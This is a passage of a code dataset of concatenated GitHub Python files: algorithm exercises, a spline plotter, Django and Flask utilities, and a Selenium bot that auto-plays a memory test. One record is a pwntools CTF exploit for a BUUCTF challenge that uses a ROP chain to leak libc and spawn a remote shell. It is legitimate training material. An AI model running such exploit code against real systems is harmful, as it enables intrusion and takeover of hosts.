1]\nprint(L)\nprint(flatten(L))","repo_name":"tropat/Python-course","sub_path":"Zestaw04/zad7.py","file_name":"zad7.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"35584021280","text":"import unittest\nfrom random import shuffle\nfrom q03_05_sort_stack import sort_stack\n\n\nclass TestQ03_05SortStack(unittest.TestCase):\n def setUp(self):\n self.stack_A = [i for i in range(20)]\n self.stack_B = [i * i for i in range(20)]\n self.stack_C = [i for i in range(20, -1, -1)]\n self.stack_D = [i for i in range(20, -1, -1)]\n shuffle(self.stack_D)\n self.stack_E = [10, 0, 9, 1, 8, 2, 7, 3, 6, 4, 5]\n\n def test_sort_stack(self):\n a = sort_stack(self.stack_A)\n b = sort_stack(self.stack_B)\n c = sort_stack(self.stack_C)\n d = sort_stack(self.stack_D)\n e = sort_stack(self.stack_E)\n self.check_stack_sorted(a)\n self.check_stack_sorted(b)\n self.check_stack_sorted(c)\n self.check_stack_sorted(d)\n self.check_stack_sorted(e)\n\n def check_stack_sorted(self, stack: list) -> None:\n if stack is None:\n raise TypeError(\"Stack cannot be None\")\n elif len(stack) == 0:\n raise ValueError(\"Stack cannot be empty\")\n prev = stack[0]\n for i in range(1, len(stack)):\n self.assertGreater(prev, stack[i])\n prev = stack[i]\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"nhenninger/CrackingTheCodingInterview6e","sub_path":"ch03_Stacks_and_Queues/test_q03_05_sort_stack.py","file_name":"test_q03_05_sort_stack.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"2897538070","text":"#\n# @lc app=leetcode id=387 lang=python3\n#\n# [387] First Unique Character in a String\n#\n\n# @lc code=start\nclass Solution:\n def firstUniqChar(self, s: str) -> int:\n charL = [0]*26\n for i in s:\n charL[ ord(i) - ord('a') ] += 1\n\n for i in range(len(s)):\n if charL[ord(s[i]) - ord('a')] == 1:\n return i\n return -1 \n \n# @lc code=end\n\n","repo_name":"Albert-W/leetcode","sub_path":"vscodeExt/387.first-unique-character-in-a-string.py","file_name":"387.first-unique-character-in-a-string.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"70"} +{"seq_id":"40676672788","text":"from pwn import *\n\ncontext(os = 'linux', arch = 'amd64', log_level = 'debug')\n# io = process('ACTF_2019_babystack')\nio = remote('node4.buuoj.cn', 25945)\n# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\nlibc = ELF('libc-2.27.so')\nelf = ELF('ACTF_2019_babystack')\nmain = 0x4008f6\nputs_plt = elf.plt['puts']\nputs_got = elf.got['puts']\nleave_ret = 0x400a18\npop_rdi_ret = 0x400ad3\nret = 0x400709\n\nio.sendlineafter('>', str(0xe0))\nio.recvuntil('Your message will be saved at ')\nbuf = int(io.recvn(14), 16)\npayload = cyclic(8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)\npayload += cyclic(0xA8)\npayload += p64(buf) + p64(leave_ret)\nio.sendafter('>', payload)\nio.recvline()\nlibc_base = u64(io.recvn(6).ljust(8, b'\\x00')) - libc.sym['puts']\nlog.success('libc_base: ' + hex(libc_base))\n\nsystem = libc_base + libc.sym['system']\nbin_sh = libc_base + next(libc.search(b'/bin/sh\\x00'))\nio.sendlineafter('>', str(0xe0))\nio.recvuntil('Your message will be saved at ')\nbuf = int(io.recvn(14), 16)\npayload = cyclic(8) + p64(ret) +p64(pop_rdi_ret) + p64(bin_sh) + p64(system)\npayload += cyclic(0xA8)\npayload += p64(buf) + p64(leave_ret)\nio.sendafter('>', payload)\nio.interactive()\n","repo_name":"HuangPayoung/CTF_WriteUp","sub_path":"BUUCTF/pwn/actf_2019_babystack/exp.py","file_name":"exp.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"70"} +{"seq_id":"27305887828","text":"import math\nimport numpy as np\nimport numpy.polynomial\nimport scipy as sp\nimport scipy.sparse\nimport scipy.sparse.linalg\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom numpy.polynomial import Polynomial\n\nmatplotlib.use('pgf')\nmatplotlib.rcParams.update({\n\t'pgf.texsystem': 'pdflatex',\n\t'font.family': 'serif',\n\t'text.usetex': True,\n\t'pgf.rcfonts': False,\n})\n\nclass Spline:\n def __init__(self, x, f, n):\n self.n = n\n self.x = x\n self.f = f\n \n # uniform distribution\n self.h = x[1] - x[0]\n\n self.calc_xi()\n self.calc_p()\n\n def __call__(self, x):\n i = 0\n while self.x[i+1] < x:\n i += 1\n\n return self.p[i](x)\n\n def calc_xi(self):\n N = self.n - 2\n data = np.array([np.full(N, 1), np.full(N, 4), np.full(N, 1)])\n offsets = np.array([-1, 0, 1])\n A = sp.sparse.dia_matrix((data, offsets), shape=(N, N))\n\n b_i = lambda i: self.f[i-1] - 2*self.f[i] + self.f[i+1]\n b = np.array([b_i(i) for i in range(1, self.n-1)]) * ( 6 / self.h**2 )\n _xi = sp.sparse.linalg.spsolve(A.tocsr(), b)\n \n self.xi = np.concatenate(([0], _xi, [0]))\n\n def calc_p(self):\n def p(j):\n A = Polynomial([self.x[j+1], -1]) / (self.x[j+1] - self.x[j])\n B = Polynomial([-self.x[j], 1]) / (self.x[j+1] - self.x[j])\n C = 1/6 * (A**3 - A) * (self.x[j+1] - self.x[j]) ** 2\n D = 1/6 * (B**3 - B) * (self.x[j+1] - self.x[j]) ** 2\n return A*self.f[j] + B*self.f[j+1] + C*self.xi[j] + D*self.xi[j+1]\n\n self.p = [p(j) for j in range(self.n - 1)]\n\nuniform = lambda n: np.linspace(-1, 1, n)\nf = lambda x: 1.0 / (1.0 + (25 * x**2))\ns = lambda n: Spline(uniform(n), f(uniform(n)), n)\n\nx = uniform(5040)\n\ns0 = s(5)\ns1 = s(6)\ns2 = s(7)\ns3 = s(10)\ns4 = s(20)\n\nfig = plt.figure()\nfig, (ax1, ax2) = plt.subplots(nrows=2, sharex=True, figsize=(6, 8), dpi=600)\n\nax1.plot(x, f(x), color='black', label=r'$ f(x) $')\n\nax1.plot(x, [s0(i) for i in x], label=r'$ s_{5}(x) $')\nax1.plot(x, [s1(i) for i in x], label=r'$ s_{6}(x) $')\nax1.plot(x, [s2(i) for i in x], label=r'$ s_{7}(x) $')\nax1.plot(x, [s3(i) for i in x], label=r'$ s_{10}(x) $')\nax1.plot(x, [s4(i) for i in x], label=r'$ s_{20}(x) $')\n\nax2.plot(x, [np.abs(s0(i) - f(i)) for i in x], label=r'$ E_{5}(x) $')\nax2.plot(x, [np.abs(s1(i) - f(i)) for i in x], label=r'$ E_{6}(x) $')\nax2.plot(x, [np.abs(s2(i) - f(i)) for i in x], label=r'$ E_{7}(x) $')\nax2.plot(x, [np.abs(s3(i) - f(i)) for i in x], label=r'$ E_{10}(x) $')\nax2.plot(x, [np.abs(s4(i) - f(i)) for i in x], label=r'$ E_{20}(x) $')\n\nax1.grid(axis=\"x\")\nax2.grid(axis=\"x\")\n\nax1.set_ylabel(r'$ s_k(x) $, $ f(x) $')\nax2.set_ylabel(r'$ \\Delta_k(x) = |s_k(x) - f(x)| $')\nax2.set_xlabel(r'$ x $')\nax1.set_xlim([-1, 1])\nax1.set_ylim([-0.2, 1.2])\nax2.set_ylim([-0.1, 0.5])\n\nax1.legend()\nax2.legend()\n\nfig.tight_layout()\nfig.savefig('chart.pgf')","repo_name":"theKlisha/uj-numerical-methods","sub_path":"num7/program.py","file_name":"program.py","file_ext":"py","file_size_in_byte":2925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"26646377835","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 26 23:34:33 2019\n\n@author: Sai Gunaranjan Pelluri\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom compressive_sensing_lib import OMP as omp\n\n\"\"\" This scheme has some logical bugs and results are not satisfactory. Need to debug this\"\"\"\n\nplt.close('all')\nnum_signal_samples = 512\nnum_sources = 3\nobject_snr = np.random.randint(low=30,high=60,size=num_sources)#np.array([20,20,20,20,20])#np.random.randint(low=20,high=80,size=num_sources)\nnoise_power_db = -40 # Noise Power in dB\nnoiseFloorPerBin_dB = noise_power_db - 10*np.log10(num_signal_samples)\nnoise_variance = 10**(noise_power_db/10)\nnoise_sigma = np.sqrt(noise_variance)\n# weights = noise_variance*10**(object_snr/10)\nweights = np.sqrt(10**((noiseFloorPerBin_dB + object_snr)/10))\nnoise_VariancePerBin = 10**(noiseFloorPerBin_dB/10);\nnoiseSigmaPerBin = np.sqrt(noise_VariancePerBin)\nnum_cols_signal_dict = 1500\n\nnum_cols_random_proj_mat = num_signal_samples//2\nnum_rows_random_proj_mat = 30\nomp_threshold = 10**((noiseFloorPerBin_dB+28)/10);\ncompr_fact = ((num_signal_samples-num_rows_random_proj_mat)/num_signal_samples)*100 \n\n\ndig_freq_resol = np.pi/num_cols_signal_dict \nfreq_grid = np.linspace(0,np.pi,num_cols_signal_dict) #create a uniform grid of digital frequencies spaced 'dig_freq_resol' apart\nsig_freq_ind = np.random.randint(num_cols_signal_dict, size=num_sources) # select randomly from these discrete digital frequencies based on the number of sources given\nsig_freq = freq_grid[sig_freq_ind] # select randomly from these discrete digital frequencies based on the number of sources given\nsignal_gen_matrix = np.exp(1j*np.matmul(np.arange(num_signal_samples)[:,None], freq_grid[None,:])) # Fat vandermode matrix from whose column space the signal is generated\ncol_sampling_vector = np.zeros((num_cols_signal_dict)) \ncol_sampling_vector[sig_freq_ind] = weights # choose weights for the sinusoids(columns) in the fat vandermonde matrix to be sampled\nrange_signal = np.matmul(signal_gen_matrix,col_sampling_vector)*np.hanning(num_signal_samples) # generate the clean signal which is a sum of sinusoids with different weights coming from the column space of the fat vandermond/generating matrix\nnoise_signal = np.random.normal(0,noise_sigma/np.sqrt(2),num_signal_samples) + 1j*np.random.normal(0,noise_sigma/np.sqrt(2),num_signal_samples) # generate a complex white gaissian noise\nrange_signal_with_noise = range_signal + noise_signal # signal + noise\nsignal_spectrum = np.fft.fft(range_signal_with_noise)[0:num_signal_samples//2]/num_signal_samples # compute the fft of the noisy signal\nrandom_projection_matrix = np.random.randn(num_rows_random_proj_mat, num_cols_random_proj_mat) + 1j*np.random.randn(num_rows_random_proj_mat, num_cols_random_proj_mat) # create the random projection matrix which is a fat matrix with full row rank. In this case we have chosen iid gaussian matrix but we could choose bernoulli matrix as well\nrandom_projection_matrix = random_projection_matrix/np.linalg.norm(random_projection_matrix,axis=0)\nrandom_proj_vec = np.matmul(random_projection_matrix, signal_spectrum)[:,None] # compute the random projections of the signal spectrum(which is sparse) on to the rows of the random projection matrix\nrecon_signal_spectrum, error_iter = omp(random_projection_matrix, random_proj_vec, omp_threshold) # solve for the sparse signal(signal spectrum in this case) using greedy algo like OMP using the random projection matrix and the random projections\nnum_zeros = recon_signal_spectrum.shape[0] - np.count_nonzero(recon_signal_spectrum,axis=0) # number of zero entries in the reconstructed signal (spectrum)\neps_noise = noiseSigmaPerBin*np.exp(1j*np.random.uniform(low=-np.pi,high=np.pi,size=num_zeros)) # add some small noise to the zero entries (just to compare the reconstructed signal spectrum with the true signal spectrum)\nrecon_signal_spectrum[np.abs(recon_signal_spectrum)==0] = eps_noise\nplt.figure(1,figsize=(20,10))\nplt.plot(np.arange(0,np.pi,2*np.pi/num_signal_samples), 20*np.log10(np.abs(signal_spectrum)),'-o',label='True Signal Spectrum')\nplt.vlines(sig_freq,-100,0, label = 'Ground truth')\nplt.plot(np.arange(0,np.pi,2*np.pi/num_signal_samples), 20*np.log10(np.abs(recon_signal_spectrum)),'-o',label='Reconstructed Signal Spectrum')\nplt.grid(True)\nplt.xlabel('Dig Freq (rad/samp)')\nplt.legend()\n\nprint('\\n\\n Compression factor = ', compr_fact)\n\n","repo_name":"SaiGunaranjan/Signal-Processing-algorithms","sub_path":"compressive_sensing/signal_compression.py","file_name":"signal_compression.py","file_ext":"py","file_size_in_byte":4409,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"70"} +{"seq_id":"73400188386","text":"from random import randrange\n\nantal_slag = 0\n\nantal_point = 0\n\n#spillernavn = input(\"Indtast dit navn: \")\n\nspillernavn = \"Thomas\"\n\n#valg=input(\"\\nVelkommen til {0}. Vil du gerne starte spillet? (j/n): \".format(spillernavn))\n\n\n### Her starter selve spillet\n\n\n\nwhile True:\n\n\tslag = randrange(1,7)\n\n\twhile slag != 6:\n\t\t\n\t\tantal_slag +=1\n\t\t\n\t\tantal_point += slag\n\t\t\n\t\tprint(\"\\nDu slog en {0}'er og du har nu {1} point.\".format(slag, antal_point))\n\t\t\n\t\tvalg = input(\"Vil du prøve at slå igen? (j/n): \")\n\t\t\n\t\tif valg is \"j\":\n\t\t\t\n\t\t\tslag = randrange(1,7)\n\t\t\n\t\telse:\n\t\t\t\n\t\t\tprint(\"\\nTak for spillet {2}\\nDu fik ialt {0} point på {1} slag.\".format(antal_point,antal_slag,spillernavn))\n\t\t\t\n\t\t\texit(0)\t\t\t\t\n\t\t\t\t\n\tprint(\"\\n\\n\\tDu slog en 6'er. Du fik ialt {0} point på {1} slag\".format(antal_point, antal_slag))\n\n\n","repo_name":"thj01/thj01.github.io","sub_path":"Python/programmer/100/100_2.py","file_name":"100_2.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"da","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"43589458505","text":"# 덱\n# queue\n# 2021/05/25 12:17 오후\n\nfrom collections import deque\nimport sys\n\nN = int(sys.stdin.readline())\n\ndeq = deque()\nfor _ in range(N):\n command = sys.stdin.readline().split()\n cmd = command[0]\n if cmd == \"push_front\":\n deq.appendleft(command[1])\n elif cmd == \"push_back\":\n deq.append(command[1])\n elif cmd == \"pop_front\":\n if deq:\n print(deq.popleft())\n else:\n print(-1)\n elif cmd == \"pop_back\":\n if deq:\n print(deq.pop())\n else:\n print(-1)\n elif cmd == \"size\":\n print(len(deq))\n elif cmd == \"empty\":\n if not deq:\n print(1)\n else:\n print(0)\n elif cmd == \"front\":\n if deq:\n print(deq[0])\n else:\n print(-1)\n elif cmd == \"back\":\n if deq:\n print(deq[-1])\n else:\n print(-1)\n","repo_name":"songkg7/1day-1algorithm","sub_path":"baekjoon/queue/10866.py","file_name":"10866.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"2039992890","text":"from crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout, HTML\nfrom django import forms\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.models import User\n\nfrom notice.models import Notice as NoticeModel\n\n\nclass NoticeForm(forms.ModelForm):\n class Meta:\n model = NoticeModel\n fields = ['name', 'email', 'message', 'pub_date', 'image']\n\n def __init__(self, *args, **kwargs):\n super(NoticeForm, self).__init__(*args, **kwargs)\n self.helper = FormHelper(self)\n self.helper.form_tag = False\n self.helper.disable_csrf = True\n self.helper.layout = Layout(\n 'title',\n 'description',\n 'imagefile',\n HTML(\n \"\"\"{% if form.imagefile.value %}{% endif %}\"\"\", ),\n 'flag_featured',\n )\n\nclass NoticeImageForm(forms.Form):\n image = forms.ImageField(required=True)\n\n\nclass NewUserForm(UserCreationForm):\n email = forms.EmailField(required=True)\n\n class Meta:\n model = User\n fields = (\"username\", \"email\", \"password1\", \"password2\")\n\n def save(self, commit=True):\n user = super(NewUserForm, self).save(commit=False)\n user.email = self.cleaned_data['email']\n if commit:\n user.save()\n return user\n","repo_name":"darkmatter4114/django-feedback","sub_path":"mysite/notice/form.py","file_name":"form.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"26437607097","text":"# order:\n# red, yellow, green, yellow, red\n# or\n# red, yellow, green with arrow, green, yellow, red\n\nlights = [] #array of lights\nwith open('data.txt') as f: \n for line in f:\n lights.append(line.replace(\"\\n\",\"\")) #moving data to array\n\nfor i in range(1, len(lights)): #comparing lights \n\n if lights[i] == '0,0,1,0': #when lights[i] - green\n if lights[i-1] == '0,1,0,0' or lights [i-1] == '0,0,0,1' or lights[i-1] == '0,0,0,0' or lights [i-1] == '0,0,1,0': \n #previous light should be yellow, green with arrow, no light is on or also green\n continue\n else:\n quit(\"Traffic light is working wrong\") \n if lights[i] == '1,0,0,0': #when lights[i] - red\n if lights[i-1] == '0,1,0,0' or lights [i-1] == '1,0,0,0':\n #previous light should be yellow or also red\n continue\n else:\n quit(\"Traffic light is working wrong\") \n if lights[i] == '0,1,0,0': #when lights[i] - yellow\n if lights[i-1] == '1,0,0,0' or lights [i-1] == '0,0,0,1' or lights[i-1] == '0,0,0,0' or lights[i-1] == '0,0,1,0' or lights [i-1] == '0,1,0,0':\n #previous light should be red, green with arrow, no light is on, green or also yellow\n continue\n else:\n quit(\"Traffic light is working wrong\") \n if lights[i] == '0,0,0,1': #when lights[i] - green with arrow\n if lights[i-1] == '0,1,0,0' or lights [i-1] == '0,0,0,1' or lights [i-1] == '0,0,0,0':\n #previous light should be yellow, green with arrow or no light is on\n continue\n else:\n quit(\"Traffic light is working wrong\") \n if lights[i] == '0,0,0,0': #when lights[i] - no light is on\n if lights[i-1] == '0,0,1,0' or lights [i-1] == '0,0,0,1' or lights [i-1] == '0,0,0,0':\n #previous light should be green, green with arrow or no light is on\n continue\n else:\n quit(\"Traffic light is working wrong\") \n\nprint(\"Traffic light is working correctly\") ","repo_name":"Ledas26/Auriga-Task","sub_path":"Task.py","file_name":"Task.py","file_ext":"py","file_size_in_byte":2016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"74383686626","text":"import random as rn\n#Winning Rules of Stone-Paper-Scissor\nprint(\"Winning Rules of the Stone-Paper-Scissor game are stated as follows: \\n\"\n +\"Stone vs Paper : Paper WINS \\n\"\n + \"Stone vs Scissor : Stone WINS \\n\"\n +\"Paper vs Scissor : Scissor WINS \\n\") \nans=-1\nprint(\"Choices\\n1.Stone\\n2.Paper\\n3.Scissor\\n0.Exit\\n\")\nwhile ans!=0:\n ans=int(input(\"Enter your choice\\n\"))\n while ans<0 or ans>3:\n print(\"Oh no! Invalid choice.Try again :) \\n1.Stone\\n2.Paper\\n3.Scissor\\n0.Exit\\n\")\n ans=int(input())\n\n if ans==1:\n print(\"You choose Stone\")\n elif ans==2:\n print(\"You choose Paper\")\n elif ans==3:\n print(\"You choose Scissor\")\n else:\n continue\n\n x=rn.randint(1,3)\n if x==1:\n print(\"Computer chooses Stone\")\n elif x==2:\n print(\"Computer chooses Paper\")\n else:\n print(\"Computer chooses Scissor\")\n\n if((ans == 1 and x == 2) or (ans == 2 and x ==1 )): \n print(\"Paper wraps the stone\") \n temp = 2 \n elif((ans == 1 and x == 3) or (ans == 3 and x == 1)): \n print(\"Stone breaks the scissor\") \n temp = 1\n elif(ans==x):\n print(\"Draw\")\n continue\n else: \n print(\"Scissor cuts the paper\") \n temp = 3\n \n if temp == ans: \n print(\"Yay! You win.\\n\") \n else: \n print(\"Aww! You lose. Computer wins.\\n\")\n\nprint(\"Thank you for playing. Have a nice day :)\")\n","repo_name":"AnkitaxPriya/Stone-Paper-Scissor","sub_path":"StonePaperScissor.py","file_name":"StonePaperScissor.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"33151454357","text":"from time import sleep, time\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\n# init driver\ndriver = webdriver.Chrome()\ndriver.get(\"https://humanbenchmark.com/tests/sequence\")\n\n\ndef main():\n # click start button\n start_btn = driver.find_elements(By.TAG_NAME, \"button\")[1]\n start_btn.click()\n\n while True:\n # watch\n sequence = watch_sequence()\n\n # click squares in sequence\n while sequence:\n square = sequence.pop()\n square.click()\n\n\ndef watch_sequence() -> list:\n sequence = []\n tol_start = time()\n squares = driver.find_element(By.CLASS_NAME, \"squares\")\n\n while time() - tol_start < 3:\n active_squares = squares.find_elements(By.CLASS_NAME, \"active\")\n if active_squares:\n active_square = active_squares[0]\n if len(sequence) and (sequence[-1] == active_square):\n continue\n else:\n sequence.append(active_square)\n tol_start = time()\n\n sequence.reverse()\n return sequence\n\n\n# begin test\nif __name__ == '__main__':\n main()\n","repo_name":"JavenZ/human-benchmark-solver","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"30695898535","text":"from rest_framework.renderers import JSONRenderer\nfrom django.core.exceptions import PermissionDenied\nfrom django.http import Http404\nfrom rest_framework import exceptions, status\nfrom rest_framework.views import set_rollback\nfrom rest_framework.response import Response\nfrom rest_framework.exceptions import ValidationError\nfrom django.utils import six\nfrom django.utils.translation import ugettext_lazy as _\n\n\nclass AotoPackRender(JSONRenderer):\n def render(self, data, accepted_media_type=None, renderer_context=None):\n if isinstance(data, dict) and data.get('success_status', None) is False:\n pass\n else:\n data = {\n 'success_status': True,\n 'message': '',\n 'data': data\n }\n return super(AotoPackRender, self).render(data, accepted_media_type, renderer_context)\n\n\ndef exception_handler(exc, context):\n \"\"\"\n Returns the response that should be used for any given exception.\n\n By default we handle the REST framework `APIException`, and also\n Django's built-in `Http404` and `PermissionDenied` exceptions.\n\n Any unhandled exceptions may return `None`, which will cause a 500 error\n to be raised.\n \"\"\"\n data = {\n 'success_status': False\n }\n if isinstance(exc, exceptions.APIException):\n headers = {}\n if getattr(exc, 'auth_header', None):\n headers['WWW-Authenticate'] = exc.auth_header\n if getattr(exc, 'wait', None):\n headers['Retry-After'] = '%d' % exc.wait\n\n message = exc.detail\n if isinstance(exc, ValidationError) and isinstance(exc.detail, dict):\n for k, v in exc.detail.items():\n message = v[0]\n break\n\n if isinstance(exc.detail, list):\n message = exc.detail[0]\n\n data['message'] = message\n\n if isinstance(exc, exceptions.NotAuthenticated):\n data['permission'] = 401\n else:\n data['permission'] = exc.status_code\n\n set_rollback()\n return Response(data, status=status.HTTP_200_OK, headers=headers)\n\n elif isinstance(exc, Http404):\n msg = _('Not found.')\n data['message'] = six.text_type(msg)\n data['permission'] = 404\n\n set_rollback()\n return Response(data, status=status.HTTP_200_OK)\n\n elif isinstance(exc, PermissionDenied):\n msg = _('Permission denied.')\n data['message'] = six.text_type(msg)\n data['permission'] = 401\n\n set_rollback()\n return Response(data, status=status.HTTP_200_OK)\n\n return None\n","repo_name":"Fish-feces/drfproject","sub_path":"utils/render.py","file_name":"render.py","file_ext":"py","file_size_in_byte":2600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"11227152730","text":"\"\"\"\n\n\"\"\"\nfrom abc import abstractmethod, ABCMeta\nfrom flask.ext.limiter import ConfigurationError\nfrom six.moves import urllib\n\ntry:\n from collections import Counter\nexcept ImportError: # pragma: no cover\n from .backports.counter import Counter # pragma: no cover\n\nimport threading\nimport time\n\nimport six\n\nfrom .errors import ConfigurationError\nfrom .util import get_dependency\n\nSCHEMES = {}\n\ndef storage_from_string(storage_string):\n \"\"\"\n\n :param storage_string: a string of the form method://host:port\n :return: a subclass of :class:`flask_limiter.storage.Storage`\n \"\"\"\n scheme = urllib.parse.urlparse(storage_string).scheme\n if not scheme in SCHEMES:\n raise ConfigurationError(\"unknown storage scheme : %s\" % storage_string)\n return SCHEMES[scheme](storage_string)\n\nclass StorageRegistry(type):\n def __new__(mcs, name, bases, dct):\n storage_scheme = dct.get('STORAGE_SCHEME', None)\n if not bases == (object,) and not storage_scheme:\n raise ConfigurationError(\"%s is not configured correctly, it must specify a STORAGE_SCHEME class attribute\" % name)\n cls = super(StorageRegistry, mcs).__new__(mcs, name, bases, dct)\n SCHEMES[storage_scheme] = cls\n return cls\n\n\n@six.add_metaclass(StorageRegistry)\n@six.add_metaclass(ABCMeta)\nclass Storage(object):\n def __init__(self, uri=None):\n \"\"\"\n\n\n \"\"\"\n self.lock = threading.RLock()\n\n @abstractmethod\n def incr(self, key, expiry, elastic_expiry=False):\n \"\"\"\n increments the counter for a given rate limit key\n\n :param str key: the key to increment\n :param int expiry: amount in seconds for the key to expire in\n :param bool elastic_expiry: whether to keep extending the rate limit\n window every hit.\n \"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def get(self, key):\n \"\"\"\n :param str key: the key to get the counter value for\n \"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def get_expiry(self, key):\n \"\"\"\n :param str key: the key to get the expiry for\n \"\"\"\n raise NotImplementedError\n\n\n\n\nclass LockableEntry(threading._RLock):\n __slots__ = [\"atime\", \"expiry\"]\n def __init__(self, expiry):\n self.atime = time.time()\n self.expiry = self.atime + expiry\n super(LockableEntry, self).__init__()\n\nclass MemoryStorage(Storage):\n \"\"\"\n rate limit storage using :class:`collections.Counter`\n as an in memory storage.\n\n \"\"\"\n STORAGE_SCHEME = \"memory\"\n\n def __init__(self, uri=None):\n self.storage = Counter()\n self.expirations = {}\n self.events = {}\n self.timer = threading.Timer(0.01, self.__expire_events)\n self.timer.start()\n super(MemoryStorage, self).__init__(uri)\n\n def __expire_events(self):\n for key in self.events:\n for event in list(self.events[key]):\n with event:\n if event.expiry <= time.time() and event in self.events[key]:\n self.events[key].remove(event)\n for key in list(self.expirations.keys()):\n if self.expirations[key] <= time.time():\n self.storage.pop(key, None)\n self.expirations.pop(key, None)\n\n def __schedule_expiry(self):\n if not self.timer.is_alive():\n self.timer = threading.Timer(0.01, self.__expire_events)\n self.timer.start()\n\n def incr(self, key, expiry, elastic_expiry=False):\n \"\"\"\n increments the counter for a given rate limit key\n\n :param str key: the key to increment\n :param int expiry: amount in seconds for the key to expire in\n :param bool elastic_expiry: whether to keep extending the rate limit\n window every hit.\n \"\"\"\n self.get(key)\n self.__schedule_expiry()\n self.storage[key] += 1\n if elastic_expiry or self.storage[key] == 1:\n self.expirations[key] = time.time() + expiry\n return self.storage.get(key, 0)\n\n def get(self, key):\n \"\"\"\n :param str key: the key to get the counter value for\n \"\"\"\n if self.expirations.get(key, 0) <= time.time():\n self.storage.pop(key, None)\n self.expirations.pop(key, None)\n return self.storage.get(key, 0)\n\n def acquire_entry(self, key, limit, expiry, no_add=False):\n \"\"\"\n :param str key: rate limit key to acquire an entry in\n :param int limit: amount of entries allowed\n :param int expiry: expiry of the entry\n :param bool no_add: if False an entry is not actually acquired but instead\n serves as a 'check'\n :return: True/False\n \"\"\"\n self.events.setdefault(key, [])\n self.__schedule_expiry()\n timestamp = time.time()\n try:\n entry = self.events[key][limit - 1]\n except IndexError:\n entry = None\n if entry and entry.atime >= timestamp - expiry:\n return False\n else:\n if not no_add:\n self.events[key].insert(0, LockableEntry(expiry))\n return True\n\n def get_expiry(self, key):\n \"\"\"\n :param str key: the key to get the expiry for\n \"\"\"\n return int(self.expirations.get(key, -1))\n\n def get_num_acquired(self, key, expiry):\n \"\"\"\n returns the number of entries already acquired\n\n :param str key: rate limit key to acquire an entry in\n :param int expiry: expiry of the entry\n \"\"\"\n timestamp = time.time()\n return len(\n [k for k in self.events[key] if k.atime >= timestamp - expiry]\n ) if self.events.get(key) else 0\n\n def get_moving_window(self, key, limit, expiry):\n \"\"\"\n returns the starting point and the number of entries in the moving window\n\n :param str key: rate limit key\n :param int expiry: expiry of entry\n \"\"\"\n timestamp = time.time()\n acquired = self.get_num_acquired(key, expiry)\n for item in self.events.get(key):\n if item.atime >= timestamp - expiry:\n return int(item.atime), acquired\n return int(timestamp), acquired\n\nclass RedisStorage(Storage):\n \"\"\"\n rate limit storage with redis as backend\n \"\"\"\n\n STORAGE_SCHEME = \"redis\"\n\n def __init__(self, uri):\n \"\"\"\n :param str redis_url: url of the form 'redis://host:port'\n :raise ConfigurationError: when the redis library is not available\n or if the redis host cannot be pinged.\n \"\"\"\n if not get_dependency(\"redis\"):\n raise ConfigurationError(\"redis prerequisite not available\") # pragma: no cover\n self.storage = get_dependency(\"redis\").from_url(uri)\n if not self.storage.ping():\n raise ConfigurationError(\"unable to connect to redis at %s\" % uri) # pragma: no cover\n script = \"\"\"\n local items = redis.call('lrange', KEYS[1], 0, tonumber(ARGV[2]))\n local expiry = tonumber(ARGV[1])\n local a = 0\n local oldest = nil\n for idx=1,#items do\n if tonumber(items[idx]) >= expiry then\n a = a + 1\n if oldest == nil then\n oldest = tonumber(items[idx])\n end\n else\n break\n end\n end\n return {oldest, a}\n \"\"\"\n self.lua_moving_window = self.storage.register_script(script)\n super(RedisStorage, self).__init__()\n\n def incr(self, key, expiry, elastic_expiry=False):\n \"\"\"\n increments the counter for a given rate limit key\n\n :param str key: the key to increment\n :param int expiry: amount in seconds for the key to expire in\n \"\"\"\n value = self.storage.incr(key)\n if elastic_expiry or value == 1:\n self.storage.expire(key, expiry)\n return value\n\n def get(self, key):\n \"\"\"\n :param str key: the key to get the counter value for\n \"\"\"\n return int(self.storage.get(key))\n\n def acquire_entry(self, key, limit, expiry, no_add=False):\n \"\"\"\n :param str key: rate limit key to acquire an entry in\n :param int limit: amount of entries allowed\n :param int expiry: expiry of the entry\n :param bool no_add: if False an entry is not actually acquired but instead\n serves as a 'check'\n :return: True/False\n \"\"\"\n timestamp = time.time()\n with self.storage.lock(\"%s/LOCK\" % key):\n entry = self.storage.lindex(key, limit - 1)\n if entry and float(entry) >= timestamp - expiry:\n return False\n else:\n if not 